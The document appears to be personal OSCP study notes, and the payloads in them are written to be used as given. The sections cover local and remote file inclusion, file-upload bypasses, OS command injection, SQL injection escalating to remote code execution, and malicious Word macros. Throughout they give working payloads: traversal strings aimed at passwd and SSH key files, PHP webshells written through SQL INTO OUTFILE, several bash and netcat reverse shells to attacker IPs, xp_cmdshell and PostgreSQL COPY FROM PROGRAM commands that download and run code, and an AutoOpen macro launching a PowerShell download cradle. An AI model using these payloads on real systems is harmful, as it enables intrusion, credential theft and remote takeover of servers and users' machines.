GET /test/index.php?page=..\..\..\..\..\..\..\..\..\xampp\apache\logs\access.log&cmd=type+secret.txt (try url encoding once and then go for 2nd time if doesn't works.) (for windows )

Don't forget to test ../,..\,..//,..\\ and url encoding too

Try to see log files after getting LFI :-

Also, Check if you can see your User-Agent data into these log files.

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Windows if XAMPP is installed :-


=================================
C:\xampp\apache\logs\
c:\Program Files\Apache Group\Apache\logs\access.log
c:\Program Files\Apache Group\Apache\logs\error.log

Do encoding when you get `Permission Denied` Error :-


..\..\..\..\..\..\../xampp/apache/logs/access.log
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e%2fxampp%2fapache%2flogs%2faccess%2elog

LFI TESTING:->>

https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Normal Testing :-
=================
../../../../../../etc/passwd
../../../../../../etc/passwd --->#Null-Byte at Ending of the payload(%00)
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
..//..//..//..//..//etc/passwd
..../..../..../..../..../etc/passwd
....//....//....//....//....//....//etc/passwd

ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u http ://<RHOST>/admin../admin_staging/index.php?page=FUZZ -fs 15349

Folder Always exist in Linux :-


=================================
/etc/passwd
/etc/hosts
/etc/resolv.conf

Folder Always exist on Windows :-


=================================
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config

Obfuscation techniques :-
==========================
http ://example.com/page=../../../../../../etc/passwd%00
http: //example.com/page=../../../../../../etc/passwd?

OSCP Page 61
%252e/%252e/%252e/%252e/etc/passwd%00 #Double URL Encoded payload with Null -Byte at ending :)

LFI (SSH keys) Check:->>


/etc/passwd #Grab all users and make a users.txt file
/proc/self/cmdline #Check for usernames and passwords
/proc/self/environ #Get all environment variable

/proc/self/stat #Get process id and do


- /proc/<pid>/cmdline #Get for password and related information
- /proc/<pid>/environ #Get for password and related information
- /proc/self/cwd/.env #Get for password and related information

/home/username/.ssh/id_rsa
/home/username/.ssh/id_rsa.pub
/home/username/.ssh/id_ecdsa
/home/username/.ssh/id_ecdsa.pub

/home/username/.ssh/id_ed25519
/home/username/.ssh/id_ed25519.pub

/home/username/.ssh/identity: Older OpenSSH format for the private key


/home/username/.ssh/identity.pub: Older OpenSSH format for the public key

/home/username/.ssh/id_dsa: DSA private key


/home/username/.ssh/id_dsa.pub: DSA public key

/home/username/.ssh/id_ecdsa_sk: ECDSA private key (Secure Key)


/home/username/.ssh/id_ecdsa_sk.pub: ECDSA public key (Secure Key)

/home/username/.ssh/ssh2/id_xmss: Private key using XMSS algorithm


/home/username/.ssh/ssh2/id_xmss.pub: Corresponding public key for XMSS private key

/home/username/.ssh/ssh2/id_ecdsa_sk: Secure key for ECDSA algorithm


/home/username/.ssh/ssh2/id_ed25519_sk: Secure key for Ed25519 algorithm
/home/username/.ssh/ssh2/id_xmss_sk: Secure key for XMSS algorithm

/home/username/.ssh/ssh2/id_ed448: Ed448 private key


/home/username/.ssh/ssh2/id_ed448.pub: Ed448 public key
/home/username/.ssh/ssh2/id_curve25519: Curve25519 private key
/home/username/.ssh/ssh2/id_curve25519.pub: Curve25519 public key

#PHP WRAPPERS
We can use the php://filter wrapper to display the contents of files either with or without encodings like ROT134 or Base64. While the php://filter wrapper can be used to include the contents of a file, we can
use the data:// wrapper to achieve code execution. This wrapper is used to embed data elements as plaintext or base64-encoded data in the running web application's code. This offers an alternative method
when we cannot poison a local file with PHP code.

Filter wrapper – We can see the contents of php file without executing the php code with encoding such as base64.

- Example : `<parameter>=php://filter/resource=<php-file> ` // or `php://filter/convert.base64-encode/resource=<php-file> `

Data wrapper – It is used to embed data elements as plaintext or base64-encoded data in the running web application's code to achieve code execution directly.

- We can get RCE directly by using data wrapper.

+ Common Syntax :- `data://text/plain,<?php system('<any-command');>`

Filter wrapper :-
=================
php://filter/convert.base64-encode/resource=index.php

curl http ://hellu.com/test/index.php?page=php://filter/convert.base64 -encode/resource=/var/www/html/backup.php

Data Wrapper for Direct RCE - :)


================================
To use data wrapper :- data:// followed by the data type and content.

data://text/plain,<?php echo system('ls');>

OR

data:text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpPz4=&cmd=ls (add &cmd after = in base64 encoding)

curl "http: //hellu.com/test/index.php?page=data://text/plain,<?php%20echo%20system(' uname+-a');?>"

curl "http ://hellu.com/test/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>"

curl "http: //hellu.com/test/index.php?page=data://text/plain,<?php%20system('cat+/proc/version');?>" #Without Echo

bash -c "bash -i >& /dev/tcp/192.168.119.3/4444 0>&1"

Evading Firewall while using Data Wrapper :-**

When web application firewalls or other security mechanisms are in place, they may filter strings like "system" or other PHP code elements. In such a scenario, we can try to use the data:// wrapper with base64-
encoded data. We'll first encode the PHP snippet into base64, then use curl to embed and execute it via the data:// wrapper.

kali@kali:~$ echo -n '<?php echo system($_GET["cmd"]);?>' | base64 PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==

#FILE INCLUSION (RFI)

OSCP Page 62
#FILE INCLUSION (RFI)

the allow_url_include option needs to be enabled to leverage RFI.The allow_url_include` setting specifically controls whether remote files can be included using include and require functions with URLs. This
setting is also relevant for the `data://` wrapper {allow_url_include` is disabled by default in current PHP versions} and tbh if it's not there we can still get shells in some scenarios:->>

Now we'll take an example from LFI testing as both have same functionalities so this can be done by 2 ways : 1st to execute c mds via burpsuite or curl and 2nd is to get an rev-shell using a simple script.

1st :->>

intercept a req in burp and make a small simple php sys cmd script in your machine:-

<?php echo system($_GET['cmd']); ?> save it and start an http server:

now to execute cmds in burp use this :

and for reading file contents you can always use cat cmd with one time url encoding and BOOM!

Now 2nd:->>

intercept the request and use in-built shell script located in /usr/share/webshells/php/php-reverse-shell.php and change the contents in it acc to your need and use this cmd > start listener before this:)

Check ur listener BOOM you're in!

#FILE UPLOAD (using exes)


File Upload vulnerabilities in web apps fall into 3 main categories:

1. Executable Files:
- Allow uploading files that the web app can execute, like PHP scripts.
- Enables code execution through the browser or other means.

2. Combined Vulnerabilities:
- Require combining file uploads with other vulnerabilities (e.g., Directory Traversal).
- Can overwrite files or perform attacks like XXE or XSS.

3. User Interaction Reliance:


- Depends on user interaction for success (e.g., uploading a malicious CV with macros)

suppose you got an upload functionality which don't accepts any php formats you can try these and play with lower and upper c ase chars or try from chart below:)and try to test:->>

curl http ://<yourip>/test/uploads/simple-backdoor.pHP?cmd='type+\xampp\don'topenit.txt' {don't forget to use ' ' or " " after the cmd }

Bypass file extensions checks while File-Upload :-

OSCP Page 63
Bypass file extensions checks while File-Upload :-

- Adding a null byte injection like (shell.php%00.gif ). // Or by using double extensions for the uploaded file like: shell.jpg.php

- Play with lowercase and uppercase letters: pHp, .pHP5, .PhAr

- Check **add**ing a **valid extension before the execution extension** (use previous extensions also):

- file.png.php
- file.png.Php5

- Try adding special characters at the end. You could use Burp to bruteforce all the ascii and Unicode characters. (Note that y ou can also try to use the previously motioned extensions)

- `file.php%20`
- `file.php%0a`
- `file.php%00 `
- `file.php%0d%0a `
- `file.php/ `
- `file.php.\`

- Bypass Filters CheckList : Look when need help https://hacktricks.boitatech.com.br/pentesting-web/file-upload

PDF PHP Inclusion:-

Create a file with a PDF header, which contains PHP code.

%PDF-1.4

<?php
system($_GET["cmd"]);
?>

http ://<RHOST>/index.php?page=uploads/<FILE>.pdf%00&cmd=whoami

#FILE UPLOAD (using non-exes)

let's have an example for this same as above but somewhat tweaked website : in here we see there's still upload functionality so we try it with a simple .txt file to see how it behaves in the burp :

It just says .txt file was uploaded successfully

Next, let's check if the web application allows us to specify a relative path in the filename and write a file via Directory Traversal outside of the web root. We can do this by modifying the "filename" parameter in
the request so it contains ../../../../../../../test.txt, then click send.

and it worked

Caution:- Here, We don't know what internally going on, but we can try to blindly overwrite files. May be successfull message is a Trap and sanitized it internally. We don't know what i nternally going on,
but we can try to blindly overwrite files.

Let's try to overwrite the authorized_keys file in the home directory for root. If this file contains the public key of a pri vate key we control, we can access the system via SSH as the root user. To do this, we'll
create an SSH keypair with ssh-keygen,4 as well as a file with the name authorized_keys containing the previously created public key.

ssh-keygen

filename

convert.pub to authroized_keys

click on upload and intercept the req in burp and change the file path to filename="../../../../../../root/.ssh/authorized_keys" so we can overwrite and put ours , then we can login easily without any pass

and now just login with that ssh BOOM you're in

NOTE:-> if it doesn't work that's coz of all host keys of previous SSH connections we practiced on so better to delete it using th is cmd :

rm ~/.ssh/known_hosts

ssh -i authorized_keys root@<site.com>

#OS COMMAND INJECTION

refer this if needed :-> https://owasp.org/www-community/attacks/Command_Injection or https://book.hacktricks.xyz/pentesting-web/command-injection

OSCP Page 64
refer this if needed :-> https://owasp.org/www-community/attacks/Command_Injection or https://book.hacktricks.xyz/pentesting-web/command-injection

#Both Unix and Windows supported

ls||id; ls ||id; ls|| id; ls || id # Execute both

ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)

ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok

ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º

ls %0A id # %0A Execute both (RECOMMENDED)

"test&&whoami"

"&&whoami or ls-la" # Does works sometimes

and then you can do this:)

"whoami&&bash -c "bash -i >& /dev/tcp/192.168.45.203/5555 0>&1""

#Only unix supported

`ls` # ``

$(ls) # $()

ls; id # ; Chain commands

ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting

/var/www/html/out.txt #Try to redirect the output to a file

/etc/passwd #Try to send some input to the command

Command Injection Overview:

- Allows execution of OS commands on the server.

- Results from unsanitized user input.

1. Injection Points:

- Input fields, URL parameters, and cookies are common injection points.

2. Terminating Quoted Context:

- Use double quotes (") or single quotes (') to terminate quoted context.

1. OS Support:

- Affects Unix and Windows servers.

Let's assume you got some output in these one's :->


"test&&whoami"

"&&whoami or ls-la" # Does works sometimes

so inplace of whoami you can simply put a url-encoded rev-shell ------------->>> for url-encoding you can use this : https://meyerweb.com/eric/tools/dencoder/

"&&bash -c "bash -i >& /dev/tcp/192.168.45.235/4444 0>&1""

BOOM you're in

Another scenario for an IIS server web-page here you may find 2 ports : 80 and 8000 and tricky thing is if you have an upload functionality in 8000 and you upload a shell file you can access it via port 80;)

#THE SQL-i INJECTION(MYSQL)

refer this link of stream-io box with manual exploitation with sql injction:-> STREAM-IO

OSCP Page 65
first things first check the search fields, comment-boxes, email-update boxes, url-bars for the point of injection:

once you find try giving it these first to check how the application responds:)

+or+1=1 , 1=2

','',#,-- ,-- -,--- - (do check these if one doesn't work as browser sometimes doesn't like a char you are using:)

if you find any thing like mailbox,newsletter subscription and it has a field fire up burp add something there and see how it responds in the repeater you may get injection point there

also never forget to check wappalyzer to see if site is having wordpress or not

and once you login via ip in a site do check for names which can be addedd to /etc/hosts file.

Payload URL Encoded {Note: In some cases, we may have to use the URL encoded version of the payload. An example of this is when we pu t our payload directly in the URL 'i.e. HTTP GET request'}

' %27
" %22
# %23
; %3B
) %29

for example:->>

'order by 1--
'order by 1-- -
'order by 1#
' ORDER BY 1-- //

TIME DELAYS:->>

Oracle dbms_pipe.receive_message(('a'),10)
Microsoft WAITFOR DELAY '0:0:10'
PostgreSQL SELECT pg_sleep(10)
MySQL SELECT SLEEP(10)

THINGS NEEDED TO BE DONE FIRST:->>

For finding no. of columns:-

' order by 1-- or -- - (keep on increasing until you see a change or get an error)

' union select null,null,null-- or -- - (increase it based on the output)

Check which columns have string value {txt}:-)

' union select null,'a'-- or -- - (and can change or switch positions for testing)

Find the version of the databases:-)

Oracle --> SELECT banner FROM v$version


SELECT version FROM v$instance

Microsoft --> SELECT @@version


PostgreSQL --> SELECT version()
MySQL --> SELECT @@version

EXTRA USEFUL CMDS:->

String concatenation
You can concatenate together multiple strings to make a single string.

Oracle --> 'foo'||'bar'

Microsoft --> 'foo'+'bar'

PostgreSQL --> 'foo'||'bar'

MySQL --> 'foo' 'bar' [Note the space between the two strings]
CONCAT('foo','bar')

Comments usage in the databases

PostgreSQL--> --comment
/*comment*/

MySQL--> #comment
-- comment [Note the space after the double dash]
/*comment*/

You can list the tables that exist in the database, and the columns that those tables contain.

Oracle--> SELECT * FROM all_tables


SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'

Microsoft--> SELECT * FROM information_schema.tables

OSCP Page 66
Microsoft--> SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE -NAME-HERE'

PostgreSQL--> SELECT * FROM information_schema.tables


SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

MySQL--> SELECT * FROM information_schema.tables


SELECT * FROM information_schema.columns WHERE table_name = 'TABLE -NAME-HERE'
'union select null,null,null,null,column_name,null from information_schema.columns where table_name='tablename'-- -

LISTING THE CONTENTS OF DB's:->

SELECT * FROM information_schema.tables--

SELECT * FROM information_schema.columns WHERE table_name = 'Users'--

PostgreSQL: Documentation: 16: 37.17. columns

MySQL :: MySQL 8.0 Reference Manual :: 26.3.38 The INFORMATION_SCHEMA TABLES Table

LISTING THE TABLES:-

NOTE:->>The TABLE_NAME column stores table names, while the TABLE_SCHEMA column points to the database each table belongs to.

'union select table_name,null or without null from information_schema.tables -- (postgre_sql)

'union select column_name,null from information_schema.columns where table_name='users_qcaktb' -- (for getting the columns for this specific table)

'union select username_wzzlwy, password_afvagv from users_qcaktb-- (for getting the contents from those specific columns in the table "users_qcaktb")

' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev' -- - (find all tables in dev db)

' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials' -- - (for getting column names in credentials table:))

' UNION select 1, username, password, 4 from dev.credentials-- -

To Connect impacket-mssqlclient <uname>:<pass>@<ip> -windows-auth

MS-SQL cmds:->>

SELECT name FROM sys.databases; {To list all the available databases}

SELECT * FROM offsec.information_schema.tables; {List all tables in Offsec databse}

select * from offsec.dbo.users; {List all data in users Table in offsec database}

SELECT CURRENT_USER; {Retrieve Current User in the current database conte xt}

SELECT SYSTEM_USER; {currently logged -in Windows user }

SELECT name FROM sys.databases; {Retrieves the names of all databases on the SQL Server instan ce}

SELECT name, schema_id FROM sys.tables; {To retrieve information about tables }

SELECT name, object_id, column_id, system_type_id FROM sys.columns;

select name from information_schema.columns or tables

select * from information_schema.tables; {to list all the tables present in that database}

OSCP Page 67
POSTGRE-SQL cmds:->>

postgres=# \list // list all databases

postgres=# \c // use database

postgres=# \c <DATABASE> // use specific database

postgres=# \s // command history

postgres=# \q // quit

<DATABASE>=# \dt // list tables from current schema

<DATABASE>=# \dt *.* // list tables from all schema

<DATABASE>=# \du // list users roles

<DATABASE>=# \du+ // list users roles

<DATABASE>=# SELECT user; // get current user

<DATABASE>=# TABLE <TABLE>; // select table

<DATABASE>=# SELECT * FROM users; // select everything from users table

<DATABASE>=# SHOW rds.extensions; // list installed extensions

<DATABASE>=# SELECT usename, passwd from pg_shadow; // read credentials

MYSQL CMDS:->> {SQL statements aren't case sensitive, which means 'USE users;' and 'use users;' }

mysql -u <username> -p <passwd>

show databases; (to list all the databases present)

use <db_name>; (to go into that database)

show tables; (list all tables in that database)

describe <table_name> (for displaying columns)

or

show columns from <table_name>;

or

SELECT column1, column2 FROM table_name; {displays 2 columns and can also increase as per your preference}

like for example if you have a table named user and column in that table as hello and you want the data from that hello you c an use the above cmd by modifying it like this:

SELECT user, hello FROM table_name or mysql.<table_name>;

INSERT INTO your_table_name (column1, column2) VALUES ('value1', 'value2'); {Insert Data:}

UPDATE your_table_name SET column1 = 'new_value' WHERE condition; {Insert Data:}

SELECT * FROM your_table_name WHERE column_name = 'value'; {Select with Condition:}

SELECT * FROM your_table_name ORDER BY column_name DESC; {Order By:}

Another useful SQL clause is LIKE, enabling selecting records by matching a certain pattern. The query below retrieves all re cords with usernames starting with admin:

mysql> SELECT * FROM logins WHERE username LIKE 'admin%';

Auth bypass:->> https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#authentication-bypass

To start our enumeration, we should find what databases are available on the DBMS. The table SCHEMATA in the INFORMATION_SCHEMA database contains information about all databases on the server. It is
used to obtain database names so we can then query them. The SCHEMA_NAME column contains all the database names currently present.

Let us first test this on a local database to see how the query is used:

SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA; {mysql> }

OSCP Page 68
' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- - {for web one}

' UNION select 1,database(),2,3-- - {for current database :}

to find our current DB user, we can use any of the following queries:

SELECT USER()
SELECT CURRENT_USER()
SELECT user from mysql.user

Our UNION injection payload will be as follows:

' UNION SELECT 1, user(), 3, 4-- -

or

' UNION SELECT 1, user, 3, 4 from mysql.user-- -

SELECT super_priv FROM mysql.user {for checking our user privileges}

Once again, we can use the following payload with the above query:

' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user-- - {for web one}

We can also dump other privileges we have directly from the schema, with the following query:

SELECT sql_grants FROM information_schema.sql_show_grants

Once again, we can add WHERE user="root" to only show our current user root privileges. Our payload would be:

' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges -- -

MY-SQL SQLi to RCE :-

For LOAD file or reading a file:->> LOAD_FILE - MariaDB Knowledge Base

The LOAD_FILE() function can be used in MariaDB / MySQL to read data from files.

SELECT LOAD_FILE('/etc/passwd');

' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- - { for web}

' UNION ALL SELECT LOAD_FILE('/etc/passwd') -- -

' UNION SELECT 1, 2, 3, SELECT LOAD_FILE('/etc/passwd') -- -

' UNION SELECT 1, 2, 3, LOAD_FILE('/etc/passwd') -- -

If default Apache webroot is /var/www/html. Let us try reading the source code of the file at /var/www/html/search.php.

' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4-- -

Now let's see if we want to WRITE so we need these checks:- Server System Variables - MariaDB Knowledge Base

User with FILE privilege enabled


MySQL global secure_file_priv variable not enabled
Write access to the location we want to write to on the back-end server

SHOW VARIABLES LIKE 'secure_file_priv';

SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"

' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_ priv"-- - { for web}

If you see empty output you can write into it

SELECT * from users INTO OUTFILE '/tmp/credentials';

select 'file written successfully!' into outfile '/var/www/html/proof.txt'

' union select 1,'file written successfully!',3,4 into outfile '/var/www/html/proof.txt' -- - { for web}

MS-SQL SQLi to RCE :- XP-CMDSHELL RCE in MS-SQL Sqli

OSCP Page 69
MS-SQL SQLi to RCE :- XP-CMDSHELL RCE in MS-SQL Sqli

EXECUTE sp_configure 'show advanced options', 1;


RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXECUTE xp_cmdshell 'whoami';

'; EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXECUTE xp_cmdshell 'ping -n 2 <ip>';-- - #Always `Ping Test` before getting rev-shell

'; EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXECUTE xp_cmdshell 'cmd /c curl http ://<ip>/shell.ps1 -o C:\windows\temp\shell.ps1';-- -
#One-Shot Xp-cmdshell RCE

'; EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXECUTE xp_cmdshell 'powershell.exe C:\windows\temp\shell.ps1';-- - -- hanging means
got the shell

EXEC xp_cmdshell "net user";


EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';

Note: To write a web shell, we must know the base web directory for the web server (i.e. web root). One way to find it is to use load_file to read the server configuration, like Apache's configuration found
at /etc/apache2/apache2.conf, Nginx's configuration at /etc/nginx/nginx.conf, or IIS configuration at %WinDir% \System32\Inetsrv\Config\ApplicationHost.config

Can test out more using these wordlists:->>


SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt at master · danielmiessler/SecLists · GitHub
SecLists/Discovery/Web-Content/default-web-root-directory-windows.txt at master · danielmiessler/SecLists · GitHub

WEBSHELL:->>

' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php' -- -

' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" --

- ' UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C: \\xampp\\htdocs\\backdoor.php"-- -

- ' union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php' -- -

' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null, null INTO OUTFILE "C: \wamp64\attendance\admin\login.php" --

can be verified by browsing to the /shell.php file and executing commands via the 0 parameter, with ?0=id in our URL:

' UNION SELECT null, null, null, null, null, '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/tmp/webshell.php' -- -

EXTRAS:->>>

SELECT table_name FROM information_schema.tables WHERE table_schema = DATABASE(); {This lists all tables in context of curre nt database}

SELECT table_name FROM information_schema.tables; {Lists all `tables` present in All database}

SELECT column_name FROM information_schema.columns; {Lists all `columns` in all present tables in all database}

INJECTIONS:->>>{MYSQL}

- %' UNION SELECT database(), user(), @@version, null, null --

- ' UNION SELECT null, null, database(), user(), @@version --

- ' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database( ) -- {One-Shot Payload for Getting current column/table name}

- ' union select null,version(),user(),null,table_name FROM information_schema.tables WHERE table_schema=database() -- {Know the current table names}

- ' union select null,null,'insert-anything',null,column_name FROM information_schema.columns WHERE table_name="users" -- {Know the current colum names}

- ' UNION SELECT null, username, password, null , null FROM users -- {Put the `table name` and `column name` to retrieve info}

%' UNION SELECT database(), user(), @@version, null, null -- // (mainly for search-bar) {you may get an error for 1st field as it's usually reserved for integer datatype}

' UNION SELECT null, null, database(), user(), @@version -- //

' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database( ) -- // {to retrieve the columns table from the information_schema
database belonging to the current database}

' UNION SELECT null, username, password, description, null FROM users -- // {for getting data from users table in which there is password column}

test' UNION SELECT 1,2,3,4,Password,6,7,8,9 FROM Users WHERE UserId = '1' --

INJECTIONS:->>>{MS-SQL}

' ORDER BY 1--

OSCP Page 70
- %' UNION SELECT database(), user(), @@version, null, null --

- ' UNION SELECT null, null, database(), user(), @@version --

- ' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database( ) --

- ' UNION SELECT null, username, password, null , null FROM users --

INJECTIONS:->>>{POSTGRE-SQL}

suppose you get an injection point where there's 6 columns and in 1st one it only takes integers and 2nd and onwards takes strings but you can't chain or use both of them so you can do this:

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#postgresql-command-execution

you can try the following :

#POC of Cmd-Exec RCE (CVE-2019-9193)


===================================

';DROP TABLE IF EXISTS commandexec; CREATE TABLE commandexec(cmd_output text); COPY commandexec FROM PROGRAM '/bin/bash -c "id";-- (you may get no error so it worked so now time to get RCE!!!)

';DROP TABLE IF EXISTS commandexec; CREATE TABLE commandexec(cmd_output text); COPY commandexec FROM PROGRAM '/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.45.207/4444 0>&1"';--

'; DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'ping –c 1 192.168.45.190'; -- -
'; DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM 'sh -i >& /dev/tcp/192.168.45.190/9001 0>&1';-- -
'; DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM '/usr/bin/nc -e /bin/sh 192.168.45.198 9001'; -- -

/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.45.156/443 0>&1"

OSCP Page 71
CLIENT-SIDE ATTACKS
Tuesday, January 23, 2024 6:08 PM

#INFO-GATHERING
One effective method in cybersecurity involves analyzing the metadata tags of documents that are publicly available and linked to the target organization. Metadata tags, which can be grouped into
different categories, often contain a range of information about a document. This information might include the document's author, the date it was created, the software (along with its version) used to
make the document, and even the operating system of the device where the document was produced. While it's possible to removeor "sanitize" this data manually, it's often overlooked and left in the
document, providing valuable insights for cybersecurity analysis.

gobuster with the -x parameter to search for specific file extensions on the target's web site.

gobuster dir -u http ://example.com -w /path/to/wordlist.txt -x pdf

ffuf -w /path/to/wordlist.txt -u http ://example.com/FUZZ.pdf -mc 200

wfuzz -c -z file,/path/to/wordlist.txt -u http: //example.com/FUZZ.pdf --hw 404

suppose you came to a site and you click on a button and it redirects you to an pdf to an diff page so here you can use exiftool to extract the meta-data and get some juicy info.

NOTE:->> for downloading pdf use wget always never download it using clicking it to download

exiftool -a -u <name.pdf>

or

exiftool -a -u -g1 filename.pdf

-a to display duplicated tags and


-u to display unknown tags
-g1: This groups the output by tag group (like EXIF, IPTC, etc.), making it easier to read.

#CLIENT-FINGERPRINTING

Could use an HTML Application (HTA)3 attached to an email to execute code in the context of Internet Explorer and to some extent, Microsoft Edge. but to confirm this we can use canarytokens

https://www.canarytokens.org/generate#

a free web service that generates a link with an embedded token that we'll send to the target. When the target opens the linkin a browser, we will get information about their browser, IP address, and
operating system. With this information, we can confirm that the target is running Windows and verify that we should attemptan HTA client-side attack.

gives you hints on how you can send this link to the target machine to make them click it!!:)

#EXPLOITING MS-OFFICE (Leveraging Microsoft Word Macros)

OSCP Page 72
open the word doc and save it as mymacro.doc and not in .docx format and go to views > view macro > mymacro as a name > choose mymacro from dropdown below and save it you'd get this :

Sub MyMacro()
'
' MyMacro Macro
'
'

End Sub

now change it to :

Sub AutoOpen()
MyMacro
End Sub

Sub Document_Open()
MyMacro
End Sub

Sub MyMacro()
Dim Str As String
CreateObject("Wscript.Shell").Run Str
End Sub

after this we gotta get a rev-shell and for that we can use this script to embed into the above code bu base64 encode it before embedding it

IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.160:8000/powercat.ps1');powercat -c 192.168.45.160 -p 4444 -e powershell

Base64 Encode and Decode - Online in here choose UTF-16LE in Destination char set instead of default :))

copy the output and now we have to use an automated .py script to split the output we got into smaller chunks of 50 chars andconcatenate them into an str variable.

To do this, we store the PowerShell command in a variable named str and the number of characters for a chunk in n.

Script:

str = "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGUAdwA..."


n = 50
for i in range(0, len(str), n):
print("Str = Str + " + '"' + str[i:i+n] + '"')

Now copy the output of the script to above code like this :

Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim Str As String

Str = Str + "powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGU"


Str = Str + "AdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAd"
Str = Str + "AAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwB"
Str = Str + "AAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwB"
Str = Str + "QBjACAAMQA5ADIALgAxADYAOAAuADEAMQA4AC4AMgAgAC0AcAA"
Str = Str + "gADQANAA0ADQAIAAtAGUAIABwAG8AdwBlAHIAcwBoAGUAbABsA"
Str = Str + "A== "
CreateObject("Wscript.Shell").Run Str
End Sub

now save the file and exit from it , before opening start an python3 server where the powercat.ps1 is present and an nc listener on 4444.

/usr/share/powershell-empire/empire/server/data/module_source/management/ python3 -m http.server

you got the shell:->>>

Now suppose if you are in windows machine via rdp and you have 2 ip's ::

1st for win


2nd for kali in which you have file upload functionality to upload the mymacro.doc file

for this to work you need to make a dir named tsclient in /srv and own it as your user by this cmd:

OSCP Page 73
for this to work you need to make a dir named tsclient in /srv and own it as your user by this cmd:

sudo chown -R hacker:hacker /srv/tsclient

so you can get that file using this awesome cmd:

xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:[IP] /u:[User] /p:[Password] /drive:SHARE,/srv/tsclient

/dynamic-resolution {This option allows dynamic resizing of the remote desktop window}
+clipboard {you know what it means}
/cert:ignore {This option tells xfreerdp to ignore certificate validation issues. It's useful for bypassing warnings about untrusted or self-signed certificates on the remote desktop server.}
/drive:SHARE,/srv/tsclient or can be /webdav {Maps a local directory to a drive on the remote Windows computer for file sharing and accessing it. In this case, /srv/tsclient {dir in our machine}

after doing this just copy the file from the destination in windows machine > go to my pc > share AK > paste it and boom you got the file :))))

upload it and wait for 30 secs you'd get the SHELL!!!!

#ABUSING WINDOWS LIBRARY FILES


Library files consist of three major parts and are written in XML to specify the parameters for accessing remote locations. The parts are General library information, Library properties, and Library
locations.

we'll leverage a two-stage client-side attack. In the first stage, we'll use Windows library files to gain a foothold on the target system and set up the second stage. In the second stage, we'll use the foothold
to provide an executable file that will start a reverse shell when double-clicked.

we'll first set up a WebDAV share on our Kali system. We'll use WsgiDAV2 as the WebDAV server to host and serve our files. We can use pip3 to install WsgiDAV.

pip3 install wsgidav

make a dir named webdav in your /home/name

